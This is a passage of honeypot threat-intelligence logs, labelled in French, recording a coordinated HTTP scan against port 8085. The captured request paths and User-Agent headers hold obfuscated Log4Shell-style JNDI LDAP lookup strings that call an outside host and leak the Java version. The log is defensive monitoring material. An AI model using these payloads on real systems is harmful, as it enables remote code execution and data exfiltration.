\u00b7 (sonde \/ probe) \u00b7 \u2192 \/${${vsn4:lx:-j}${r21:-n}${n:-d}${8l:wik:l58:-i\u2026\u0022, \u0022evidence_snippet\u0022: \u0022GET \/${${vsn4:lx:-j}${r21:-n}${n:-d}${8l:wik:l58:-i}${gx7w:i6c4:yx:-:}${s:5:-l}${sa8u:wlr7:-d}${qzx:-a}${7:jgqc:-p}${5nt:o7s:-:}\u0022, \u0022target_port_label\u0022: \u00228085 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 4 tag(s) WAF\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 68 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +18 \u00b7 4 tag(s) WAF\u0022, \u0022campaign_hint_fr\u0022: \u0022Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)\u0022, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022reconnaissance\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022meta_truncated\u0022: true, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022http\u0022, \u0022service_banner\u0022: \u0022honeypot-http\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u00228085\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022multi_protocol_correlation\u0022: true, \u0022multi_protocol_count\u0022: 2, \u0022multi_protocol_sample\u0022: [\u0022http\u0022, \u0022http-alt-8005\u0022], \u0022multi_protocol_window_s\u0022: 300, \u0022coordinated_scan\u0022: true, \u0022coordinated_subnet\u0022: \u002234.19.116.0\/24\u0022, \u0022coordinated_ip_count\u0022: 9, \u0022behavior_alerts\u0022: [\u0022coordinated_scan\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_confidence_boost\u0022: 18, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022ban_policy\u0022: \u0022advisory_investigate\u0022, \u0022tags_list\u0022: [\u0022950324:rce-0\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022, \u0022net_slowloris\u0022, \u0022net_web_probe\u0022], \u0022asn_dc_heuristic\u0022: true}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":"HTTP\/1.1","http_host":"62.3.50.33:8085","http_user_agent":"${${drb:-j}${1ze:-n}${4b3:-d}${c:jvy:-i}${k:-:}${u2m7:4:-l}${0r:62e:6uwj:-d}${1jgx:i:-a}${djx5:-p}${p:-:}${jqo:2:-\/}${t:7o:-\/}${96e:-U}${g:4:j4:-A}${m:zfh:e:-l}${xap4:30a:9:-0}${v4bf:vh:684u:-c}${skfe:xv:--}${${o:-s}${mbq5:tx:-y}${gz:eq:-s}${nej0:uwqx:-:}${u:-j}${oktb:7r:-a}${mixu:-v}${yi:b:-a}${xco3:0vuz:2iyj:-.}${hi:qdrm:1w0e:-v}${hy:r:-e}${a:2j:pg:-r}${w:1v:-s}${ps:mgew:-i}${ye0v:hut:-o}${e2r7:4:w0s5:-n}}${3bf:-.}${n:4:s6y:-e}${ki0:-7}${ug2s:qv2:-d}${qlk:e3:s:-b}${1qtc:j0c1:-8}${ahdz:19:-c}${pc:z:-7}${7kj6:-c}${gu9:2g5r:1l:-3}${xe:86h:-7}${1:8x:gp:-d}${o4lh:vy2o:-3}${w2:xy:zwq:-3}${v27:w:8iv:-2}${dn6:7q6:86r:-1}${6v9b:-2}${f24z:t5po:j:-e}${nw:-d}${2:j:h8w:-e}${dpgj:ser:-6}${9y27:-d}${e:5:culx:-6}${a:9:a0l:-0}${z5x6:-0}${mipa:cz:-4}${yq7:3e:g57m:-e}${6jy9:b5:-a}${hm:-7}${in97:-3}${aw:-8}${islx:f2:4tvq:-1}${skn:cwj:-5}${ejk:-3}${9:wv:-3}${7z8:-8}${c:3cl:6dm:-f}${n:8cs:-d}${ylg:-9}${j:-0}${klr:v:-e}${aizs:-2}${6vf:gkj:x1:-a}${ql3b:y:g6:-.}${tf:-d}${c2:8k:4a:-n}${4th:-s}${d0sc:54pb:--}${db:-e}${bw:jzq6:mtc:-x}${mdr:y9w7:-f}${mxpu:1evx:-i}${p:uwr3:fd:-l}${q:e:mxh:-.}${nh29:-m}${umhb:-a}${or:ycjp:0wt:-s}${rgm:s:-m}${zy28:5:-c}${9jd8:jcy:-o}${v6r0:jq:-r}${apc6:kd:-e}${0xqz:--}${qgt3:807c:fq:-c}${nj:y7v4:csu1:-f}${1jz:--}${5:k1mp:3:-p}${51u2:fj:-r}${rs:8:-o}${e:-d}${q:b9:s:--}${csl9:xv:-0}${w:j:-2}${3fwu:m:-.}${j:r:-m}${a9:u:b:-a}${esip:-s}${6vl:-m}${rml:-.}${f:rcm:m9:-c}${nog0:4:3l:-l}${sfto:9:-o}${2etx:w:-u}${2o6y:4vak:a:-d}${43cu:ywt0:-f}${70:pz:3me7:-e}${n:-r}${75:au:-r}${kpt2:qjmx:6n:-y}${n8a:fna:-.}${ri:xpkh:u8n:-g}${pi:n:sk:-o}${7:-o}${ec2k:9a:-g}}","http_referer":null,"tags":"[\u0022950324:rce-0\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022, \u0022net_slowloris\u0022, \u0022net_web_probe\u0022]","anomalies":"[]","severity":10,"bytes_in":4096},{"id":14680239,"ip":"34.19.116.51","ts":"2026-07-31 15:35:42.000000","proto":"tcp","src_port":8643,"dst_port":8085,"service":"http","classification":"port_8085_tcp","waf_score":26,"waf_tags":"[\u0022950324:rce-0\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022]","http_method":"GET","http_target":"\/${${lzt:rs0:i:-j}${3kb8:2kvz:r:-n}${tu:2s:ko3:-d}${n:v:-i}${1v2:d12:i97y:-:}${k:u:v:-l}${5:-d}${pjsw:imx:9pl:-a}${cj:-p}${7msn:-:}${2a:a2s0:zeju:-\/}${5rq:-\/}${w7:aoi6:q0xg:-P}${asq3:x:-A}${5h:05:7pr0:-l}${jgw:-0}${vxl:rt:ruo:-c}${04kt:5au8:lh:--}${${3l:-s}${n:k:-y}${oduv:5:l8:-s}${kvn:-:}${jen:q:fe6y:-j}${f9:e:5t:-a}${ox:nu:-v}${now9:vj:xb:-a}${t:o:-.}${n:b1:x:-v}${m:lk:-e}${n1kr:m:afj:-r}${icy:m9lp:5x:-s}${px:930e:-i}${a:-o}${n:-n}}${6h:-.}${nd:g:z:-e}${74:07g:-7}${tw:-d}${j8wo:zhc5:-b}${f7io:jzdm:-8}${5z:4at:-c}${vumk:lr:-7}${u0:10gd:-c}${t:q:-3}${t:-7}${lu:xcnu:-d}${cpia:-3}${9p:-3}${e74i:9av:vl:-2}${xidg:d2f7:yn:-1}${a:9lkj:-2}${lxu5:k6c:-e}${1z7p:pyk1:c:-d}${o:-e}${lp:-6}${xy:g:-d}${2c3:-6}${lh:-0}${nd0p:-0}${9t:6zbl:5r1:-4}${c:z:-e}${84:1jz:-a}${gio6:om:-7}${71vx:n4sg:-3}${cxw:-8}${6j:-1}${ogjq:bfm:-5}${y:9:-3}${h9:48sz:2:-3}${0o4:4rp:d:-8}${kmg2:s14:-f}${9n:80gz:-d}${2864:-9}${0rb:-0}${t4:8:3n0:-e}${45a:qb:ogbt:-2}${hw2u:o:-a}${b75:-.}${k0:a756:-d}${lz:b48g:d6c:-n}${kx:-s}${zmaw:xp9h:v:--}${sxgi:j1a:-e}${e:e:-x}${hwx:-f}${76dj:8:-i}${itan:u12m:h:-l}${2:b:94vz:-.}${61l:-m}${r2iw:-a}${f:12:-s}${e:w7h3:aklc:-m}${8uj:9s8k:zt:-c}${yxt:-o}${eab:g:-r}${yx0l:-e}${lb:r:--}${q9kc:ke1:jdo:-c}${xir:-f}${b6:fli:3:--}${b8:2h:4:-p}${7ep:g:c0:-r}${0siu:-o}${p9u:kz:i4:-d}${prt2:n:df8:--}${1:6zf:-0}${3:-2}${ui:-.}${7qv:f:-m}${an:ul:s12:-a}${l:e:b8:-s}${3y:9:y:-m}${1by:xc:-.}${jomp:-c}${b:ibz:h:-l}${f5:b2h:0mx:-o}${dnl:-u}${gd:edgq:a:-d}${3h:oj6k:zx:-f}${c:-e}${y:c4m:xy:-r}${c:d:-r}${m6pr:-y}${kb:5p:-.}${h:zt:-g}${4f:-o}${qrg:de:1u:-o}${s6by:-g}}","sensor_id":"paris-1","meta":"{\u0022protocol_emulated\u0022: true, \u0022emulator_response\u0022: \u0022485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b\u0022, \u0022emulator_response_len\u0022: 82, \u0022http_header_count\u0022: 4, \u0022http_query_params\u0022: 0, \u0022http_path_depth\u0022: 3, \u0022http_path_ext\u0022: \u0022}${h:zt:-g}${4f:-o}${qrg:de:1u:-o}${s6by:-g}}\u0022, \u0022http_ua_hash\u0022: \u0022c1d8e515afc510dd0d6379af5c44eb506b484a8e\u0022, \u0022http_host_hash\u0022: \u00228307e910dac7083f4f0d52abcc8375f89d55b254\u0022, \u0022http_target_hash\u0022: \u00229bd47eb7a09053d259129656e666ea882ab27757\u0022, \u0022http_referer_hash\u0022: null, \u0022http_method\u0022: \u0022GET\u0022, \u0022http_ua_is_cli\u0022: false, \u0022http_ua_is_browser\u0022: false, \u0022bytes_in\u0022: 4096, \u0022payload_entropy\u0022: 4.767277328996447, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Google LLC\u0022, \u0022service\u0022: \u0022http\u0022, \u0022app_proto\u0022: \u0022http\u0022, \u0022asn\u0022: 396982, \u0022country\u0022: \u0022US\u0022, \u0022dst_port\u0022: 8085, \u0022risk_waf\u0022: 100.0, \u0022risk_classification\u0022: 60.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 40.0, \u0022risk_protocol\u0022: 33.0, \u0022risk_novelty\u0022: 25.0, \u0022risk_boost\u0022: 0, \u0022risk_granularity\u0022: 6.1, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 60.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 25.0}, \u0022risk_score\u0022: 61, \u0022tag_count\u0022: 6, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u0022adc9835de445b982ed5ca0c6066289ab52928378\u0022, \u0022event_fingerprint\u0022: \u0022a45081c636dc20142175c80da964cf6748bcb363\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab port_8085_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%\u0022, \u0022confidence\u0022: 0.68, \u0022classification_confidence\u0022: 0.68, \u0022precision_score\u0022: 70, \u0022precision_signals\u0022: [\u0022pat-0162\u0022], \u0022kb_rule_ids\u0022: [\u0022pat-0162\u0022], \u0022matched_patterns\u0022: [\u0022pat-0162\u0022], \u0022matched_pattern_names\u0022: [\u0022CRS 933135\u0022], \u0022pattern_ids\u0022: [\u0022pat-0162\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 60.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 61, \u0022correlation_boost\u0022: 18}, \u0022named_classification_skipped\u0022: true, \u0022named_candidate\u0022: \u0022php_injection\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_confidence_factor\u0022: 50.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022US\u0022, \u0022asn\u0022: 396982, \u0022org\u0022: \u0022Google LLC\u0022, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022http_ua_hash\u0022: \u0022029519b3ddaf59746314251d0f6b5426\u0022, \u0022payload_hash\u0022: \u00223b4cdfdbbcd313597fd4d80bb3883a77\u0022, \u0022path_pattern_hash\u0022: \u00221d3cc42c7fa32a73adcccc3b06b6ba5c\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 8085, \u0022service\u0022: \u0022http\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_score\u0022: 61}, \u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/${${lzt:rs0:i:-j}${3kb8:2kvz:r:-n}${tu:2s:ko3:-d}${n:v:-i}${1v2:d12:i97y:-:}${k:u:v:-l}${5:-d}${pjsw:imx:9pl:-a}${cj:-p}${7msn:-:}${2a:a2s0:zeju:-\/}${5rq:-\/}${w7:aoi6:q0xg:-P}${asq3:x:-A}${5h:05:7pr0:-l}${jgw:-0}${vxl:rt:ruo:-c}${04kt:5au8:lh:--}${${3l:-s}${n:k:-y}${oduv:5:l8:-s}${kvn:-:}${jen:q:fe6y:-j}${f9:e:5t:-a}${ox:nu:-v}${now9:vj:xb:-a}${t:o:-.}${n:b1:x:-v}${m:lk:-e}${n1kr:m:afj:-r}${icy:m9lp:5x:-s}${px:930e:-i}${a:-o}${n:-n}}${6h:-.}${nd:g:z:-e}${74:07g:-7}${tw:-d}${j8wo:zhc5:-b}${f7io:jzdm:-8}${5z\u0022, \u0022user_agent\u0022: \u0022${${jb:-j}${2:5d:ew:-n}${h7:r70z:-d}${nhup:-i}${t92:-:}${z:j0:y:-l}${5l:f:-d}${kvmu:luqr:8o6e:-a}${096:0k:-p}${0q:0:bm87:-:}${vx5:o2yd:-\/}${9bh:75:-\/}${ols:i9:-U}${0:ievg:rl:-A}${5s1k:y:gqk:-l}${t630:-0}${7rh4:-c}${olhw:--}${${fm:a3yi:-s}${a36n:jnx:g:-y}$\u2026\u0022, \u0022waf_tags\u0022: [\u0022950324:rce-0\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022], \u0022request_line\u0022: \u0022GET \/${${lzt:rs0:i:-j}${3kb8:2kvz:r:-n}${tu:2s:ko3:-d}${n:v:-i}${1v2:d12:i97y:-:}${k:u:v:-l}${5:-d}${pjsw:imx:9pl:-a}${cj:-p}${7msn:-:}${2a:a2s0:zeju:-\/}${5rq:-\/}${w7:aoi6:q0xg:-P}${asq3:x:-A}${5h:05:7pr0:-l}${jgw:-0}${vxl:rt:ruo:-c}${04kt:5au8:lh:--}${${3l:-s}${n:k:-y}${oduv:5:l8:-s}${kvn:-:}${jen:q:fe6y:-j}${f9:e:5t:-a}${ox:nu:-v}${now9:vj:xb:-a}${t:o:-.}${n:b1:x:-v}${m:lk:-e}${n1kr:m:afj:-r}${icy:m9lp:5x:-s}${px:930e:-i}${a:-o}${n:-n}}${6h:-.}${nd:g:z:-e}${74:07g:-7}${tw:-d}${j8wo:zhc5:-b}${f7io:jzdm:-8}\u0022, \u0022payload_snippet\u0022: \u0022GET \/${${lzt:rs0:i:-j}${3kb8:2kvz:r:-n}${tu:2s:ko3:-d}${n:v:-i}${1v2:d12:i97y:-:}${k:u:v:-l}${5:-d}${pjsw:imx:9pl:-a}${cj:-p}${7\u0022, \u0022evidence\u0022: {\u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/${${lzt:rs0:i:-j}${3kb8:2kvz:r:-n}${tu:2s:ko3:-d}${n:v:-i}${1v2:d12:i97y:-:}${k:u:v:-l}${5:-d}${pjsw:imx:9pl:-a}${cj:-p}${7msn:-:}${2a:a2s0:zeju:-\/}${5rq:-\/}${w7:aoi6:q0xg:-P}${asq3:x:-A}${5h:05:7pr0:-l}${jgw:-0}${vxl:rt:ruo:-c}${04kt:5au8:lh:--}${${3l:-s}${n:k:-y}${oduv:5:l8:-s}${kvn:-:}${jen:q:fe6y:-j}${f9:e:5t:-a}${ox:nu:-v}${now9:vj:xb:-a}${t:o:-.}${n:b1:x:-v}${m:lk:-e}${n1kr:m:afj:-r}${icy:m9lp:5x:-s}${px:930e:-i}${a:-o}${n:-n}}${6h:-.}${nd:g:z:-e}${74:07g:-7}${tw:-d}${j8wo:zhc5:-b}${f7io:jzdm:-8}${5z\u0022, \u0022user_agent\u0022: \u0022${${jb:-j}${2:5d:ew:-n}${h7:r70z:-d}${nhup:-i}${t92:-:}${z:j0:y:-l}${5l:f:-d}${kvmu:luqr:8o6e:-a}${096:0k:-p}${0q:0:bm87:-:}${vx5:o2yd:-\/}${9bh:75:-\/}${ols:i9:-U}${0:ievg:rl:-A}${5s1k:y:gqk:-l}${t630:-0}${7rh4:-c}${olhw:--}${${fm:a3yi:-s}${a36n:jnx:g:-y}$\u2026\u0022, \u0022waf_tags\u0022: [\u0022950324:rce-0\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022], \u0022request_line\u0022: \u0022GET \/${${lzt:rs0:i:-j}${3kb8:2kvz:r:-n}${tu:2s:ko3:-d}${n:v:-i}${1v2:d12:i97y:-:}${k:u:v:-l}${5:-d}${pjsw:imx:9pl:-a}${cj:-p}${7msn:-:}${2a:a2s0:zeju:-\/}${5rq:-\/}${w7:aoi6:q0xg:-P}${asq3:x:-A}${5h:05:7pr0:-l}${jgw:-0}${vxl:rt:ruo:-c}${04kt:5au8:lh:--}${${3l:-s}${n:k:-y}${oduv:5:l8:-s}${kvn:-:}${jen:q:fe6y:-j}${f9:e:5t:-a}${ox:nu:-v}${now9:vj:xb:-a}${t:o:-.}${n:b1:x:-v}${m:lk:-e}${n1kr:m:afj:-r}${icy:m9lp:5x:-s}${px:930e:-i}${a:-o}${n:-n}}${6h:-.}${nd:g:z:-e}${74:07g:-7}${tw:-d}${j8wo:zhc5:-b}${f7io:jzdm:-8}\u0022, \u0022request_sample\u0022: \u0022GET \/${${lzt:rs0:i:-j}${3kb8:2kvz:r:-n}${tu:2s:ko3:-d}${n:v:-i}${1v2:d12:i97y:-:}${k:u:v:-l}${5:-d}${pjsw:imx:9pl:-a}${cj:-p}${7msn:-:}${2a:a2s0:zeju:-\/}${5rq:-\/}${w7:aoi6:q0xg:-P}${asq3:x:-A}${5h:05:7pr0:-l}${jgw:-0}${vxl:rt:ruo:-c}${04kt:5au8:lh:--}${${3\u0022, \u0022payload_snippet\u0022: \u0022GET \/${${lzt:rs0:i:-j}${3kb8:2kvz:r:-n}${tu:2s:ko3:-d}${n:v:-i}${1v2:d12:i97y:-:}${k:u:v:-l}${5:-d}${pjsw:imx:9pl:-a}${cj:-p}${7\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab port_8085_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%\u0022}, \u0022attack_stage\u0022: \u0022probe\u0022, \u0022mitre_tactics\u0022: [\u0022TA0007\u0022, \u0022TA0001\u0022], \u0022mitre\u0022: \u0022TA0007\u0022, \u0022threat_family\u0022: [\u0022unknown\u0022], \u0022recommended_client_action\u0022: \u0022investigate\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u00224428590eafd2cd51a11325c6b42f3311e8c4f8d8\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/${${lzt:rs0:i:-j}${3kb8:2kvz:r:-n}${tu:2s:ko3:-d}${n:v:-i}${1v2:d12:i97y:-:}${k:u:v:-l}${5:-d}${pjsw:imx:9pl:-a}${cj:-p}${7msn:-:}${2a:a2s0:zeju:-\/}${5rq:-\/}$\u2026\u0022, \u0022request_line\u0022: \u0022GET \/${${lzt:rs0:i:-j}${3kb8:2kvz:r:-n}${tu:2s:ko3:-d}${n:v:-i}${1v2:d12:i97y:-:}${k:u:v:-l}${5:-d}${pjsw:imx:9pl:-a}${cj:-p}${7msn:-:}${2a:a2s0:zeju:-\/}${5rq:-\/}${w7:aoi6:q0xg:-P}${asq3:x:-A}${5h:05\u2026\u0022, \u0022http_user_agent\u0022: \u0022${${jb:-j}${2:5d:ew:-n}${h7:r70z:-d}${nhup:-i}${t92:-:}${z:j0:y:-l}${5l:f:-d}${kvmu:luqr:8o6e:-a}${096:0k:-p}${0q:0:bm8\u2026\u0022, \u0022port\u0022: 8085, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022evidence_snippet\u0022: \u0022GET \/${${lzt:rs0:i:-j}${3kb8:2kvz:r:-n}${tu:2s:ko3:-d}${n:v:-i}${1v2:d12:i97y:-:}${k:u:v:-l}${5:-d}${pjsw:imx:9pl:-a}${cj:-p}${7\u0022, \u0022attack_vector\u0022: \u0022port 8085 tcp \u00b7 via HTTP:8085 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/${${lzt:rs0:i:-j}${3kb8:2kvz:r:-n}${tu:2s:ko3:\u2026\u0022, \u0022target_port_label\u0022: \u00228085 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 4 tag(s) WAF\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Type \u00ab port_8085_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Type \u00ab port_8085_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u2014 risque 61\/100 (Moyen) \u2014 MITRE TA0007 \u2014 confiance 68 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)\u0022, \u0022confidence_pct\u0022: 68, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 60.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 61, \u0022correlation_boost\u0022: 18}, \u0022attack_stage\u0022: \u0022probe\u0022, \u0022attack_stage_label\u0022: \u0022Sonde \/ probe\u0022, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Reconnaissance\u0022, \u0022risk_score\u0022: 61, \u0022risk_label\u0022: \u0022Moyen\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022, \u0022dst_port\u0022: 8085, \u0022protocol_emulated\u0022: true, \u0022tags_summary\u0022: [\u0022pat-0162\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022pat-0162\u0022], \u0022recommended_action\u0022: \u0022investigate\u0022, \u0022recommended_action_label\u0022: \u0022Investiguer\u0022, \u0022mitre\u0022: \u0022TA0007\u0022, \u0022mitre_technique\u0022: \u0022TA0007\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot-http\u0022, \u0022correlation_flags\u0022: [\u0022scan_coordonn\u00e9\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Scan coordonn\u00e9\u0022, \u0022Multi-protocole corr\u00e9l\u00e9 (5 min)\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +18\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/${${lzt:rs0:i:-j}${3kb8:2kvz:r:-n}${tu:2s:ko3:-d}${n:v:-i}${1v2:d12:i97y:-:}${k:u:v:-l}${5:-d}${pjsw:imx:9pl:-a}${cj:-p}${7msn:-:}${2a:a2s0:zeju:-\/}${5rq:-\/}$\u2026\u0022, \u0022request_line\u0022: \u0022GET \/${${lzt:rs0:i:-j}${3kb8:2kvz:r:-n}${tu:2s:ko3:-d}${n:v:-i}${1v2:d12:i97y:-:}${k:u:v:-l}${5:-d}${pjsw:imx:9pl:-a}${cj:-p}${7msn:-:}${2a:a2s0:zeju:-\/}${5rq:-\/}${w7:aoi6:q0xg:-P}${asq3:x:-A}${5h:05\u2026\u0022, \u0022http_user_agent\u0022: \u0022${${jb:-j}${2:5d:ew:-n}${h7:r70z:-d}${nhup:-i}${t92:-:}${z:j0:y:-l}${5l:f:-d}${kvmu:luqr:8o6e:-a}${096:0k:-p}${0q:0:bm8\u2026\u0022, \u0022port\u0022: 8085, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022attack_vector\u0022: \u0022port 8085 tcp \u00b7 via HTTP:8085 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/${${lzt:rs0:i:-j}${3kb8:2kvz:r:-n}${tu:2s:ko3:\u2026\u0022, \u0022evidence_snippet\u0022: \u0022GET \/${${lzt:rs0:i:-j}${3kb8:2kvz:r:-n}${tu:2s:ko3:-d}${n:v:-i}${1v2:d12:i97y:-:}${k:u:v:-l}${5:-d}${pjsw:imx:9pl:-a}${cj:-p}${7\u0022, \u0022target_port_label\u0022: \u00228085 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 4 tag(s) WAF\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 68 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +18 \u00b7 4 tag(s) WAF\u0022, \u0022campaign_hint_fr\u0022: \u0022Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)\u0022, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022reconnaissance\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022meta_truncated\u0022: true, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022http\u0022, \u0022service_banner\u0022: \u0022honeypot-http\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u00228085\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: 